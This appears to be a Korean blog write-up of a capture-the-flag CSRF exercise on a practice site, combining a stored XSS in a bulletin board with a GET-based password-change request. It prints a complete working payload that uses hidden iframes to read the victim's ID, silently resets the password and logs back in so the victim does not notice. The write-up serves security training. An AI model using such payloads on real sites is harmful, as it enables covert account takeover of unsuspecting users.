CSRF 실습 1
CSRF 실습 1번 문제
- csrf 공격을 이용하여 계정의 비밀번호를 바꿔야한다.
취약점 찾기
게시판 XSS 취약점 ( Stored XSS 취약점 )
- 게시판 제목과 게시판 본문에 클라이언트 스크립트가 삽입된다.
-
alert
스크립트 코드를 이용하여 취약점 확인이 가능하다. -
게시판 제목
- 본문
비밀번호 변경 요청 ( CSRF 취약점 )
burp suite
를 통해 POST 로 비밀번호 변경 요청을 보내는 것을 확인할 수 있다.- POST 방식에서 GET 방식으로 바꾸어 요청을 보내도 비밀번호가 변경되는 것을 확인할 수 있다. 로그인 한 상태에서 아래의 링크에 접속하면 비밀번호가 성공적으로 2222로 바뀐다.
http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=2222
- GET 을 통한 비밀번호 변경
- 즉 URL 링크에 로그인한 사용자 브라우저에서 접속하게 된다면 사용자 몰래 비밀번호 변경이 가능하다.
로그인
- post 요청으로만 로그인을 할 수 있다.
공격 시나리오
URL 클릭 유도하기
- crsf 취약점이 있는 비밀번호 변경 url을 이용한다.
- 공격자가 비밀번호 변경 url 을 만들어 사용자에게 보내 클릭하도록 유도한다.
- 하지만 이러한 공격을 성공시킬려면 사용자가 로그인을 한 상태에서 공격자에게서 받은 링크에 접속하여야 한다.
비밀번호 2222로 변경하기
http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=2222
XSS + CSRF 취약점 합쳐서 공격하기
최종 목표
- 사용자가 게시글을 열람하면 사용자의 비밀번호가 공격자가 설정한 비밀번호로 즉시 변경된다. 단 사용자는 비밀번호 변경이 일어났는지 알아서는 안된다.
현재 서버 비밀번호 변경시 발생되는 일 ( 예측 )
- 정상적으로 비밀번호 변경을 요청하면 비밀번호가 사용자가 입력한 값으로 바뀐다.
- 현재 로그인 중인 세션 값은 만료가 되어 로그아웃이 된다.
- 다시 로그인 하기 위하여 로그인 페이지로 넘어간다.
공격 시나리오
- 공격자는 악의적인 스크립트가 들어간 게시글을 작성한다.
- 사용자가 로그인 하여 게시글을 살펴본다.
- 사용자는 공격자가 작성한 게시글을 클릭하여 게시글 페이지에 들어간다.
- 게시글 페이지에 들어가면 악의적인 스크립트에 의해 사용자의 비밀번호가 공격자가 설정한 비밀번호로 변경된다.
공격 스크립트 작성
마이페이지를 통해 아이디 가져오기
- 마이페이지를 통해 사용자 아이디 찾기.
<iframe style="display:none;" onload="get_id()" src="http://ctf.segfaulthub.com:7777/csrf_1/mypage.php">
</iframe>
<script>
function get_id(){
id = document.getElementsByTagName('iframe')[0].contentWindow.document.getElementsByName('id')[0].placeholder;
}
</script>
비밀번호 변경 스크립트
- img 태그의 src 부분을 이용하였다.
- 게시글 방문만 하면 바로 비밀번호가 변경된다.
http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=2222
<script>
var url = "http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=2222";
new Image().src=url;
</script>
다시 공격자가 설정한 비밀번호로 다시 로그인하기.
- 세션 값을 못 쓰게되어 자동으로 로그아웃이 된다. 따라서 iframe을 통해 다시 로그인하여 사용자는 로그아웃 없이 계속 페이지를 이용하는 것 처럼 느낄 수 있다.
-
다시 로그인을 해주면 세션 값이 새로운 값으로 바뀌게 된다.
- 로그인 화면 표시.
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_1/login.php" onload="change()"></iframe>
- 아이디 및 비밀번호 입력 & 로그인 하기
<script>
function change(){
document.getElementsByTagName('iframe')[0].contentWindow.document.getElementById('login-id').value = id;
document.getElementsByTagName('iframe')[0].contentWindow.document.getElementById('login-pw').value = pw;
document.getElementsByTagName('iframe')[0].contentWindow.document.forms[0].submit();
}
</script>
최종 공격 스크립트
- 가장 먼저 마이페이지에서 아이디를 가지고 온다.
- 그런 다음 비밀번호를 변경하여준다.
- 마지막으로 바뀐 비밀번호로 다시 로그인해준다.
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_1/mypage.php" onload="get_id()">
</iframe>
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_1/login.php" onload="change()"></iframe>
<script>
var id = "";
var pw = "1234";
function get_id(){
id = document.getElementsByTagName('iframe')[0].contentWindow.document.getElementsByName('id')[0].placeholder;
var url = "http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw="+pw;
new Image().src=url;
}
function change(){
document.getElementsByTagName('iframe')[1].contentWindow.document.getElementById('login-id').value = id;
document.getElementsByTagName('iframe')[1].contentWindow.document.getElementById('login-pw').value = pw;
document.getElementsByTagName('iframe')[1].contentWindow.document.forms[0].submit();
}
</script>
공격시작
- 완성된 스크립트를 이용하여 게시글을 작성한다.
- 게시글을 저장해준다.
- 사용자가 게시글을 방문하게 되면 비밀번호가 스크립트에서 설정한
1234
로 변경된다. 서버에서는 자동으로 세션 값이 만료 시킨다. 로그인이 필요하지만 사용자는 정상적으로 게시글에 방문한 것 처럼 느끼게 된다. 왜냐하면 바뀐 비밀번호로 로그인을 하여 세션 값을 서버로부터 받기 때문이다.
결론
- iframe 과 서로 쿠키 값을 공유하기 때문에 가능한 방법이었다.
- 사용자는 정상적으로 게시글을 확인한 것 처럼 느낄것이다. 하지만 사용자는 로그아웃 하고 다시 로그인 할 때 비밀번호가 변경되었다는 것을 알 수 있다.
댓글남기기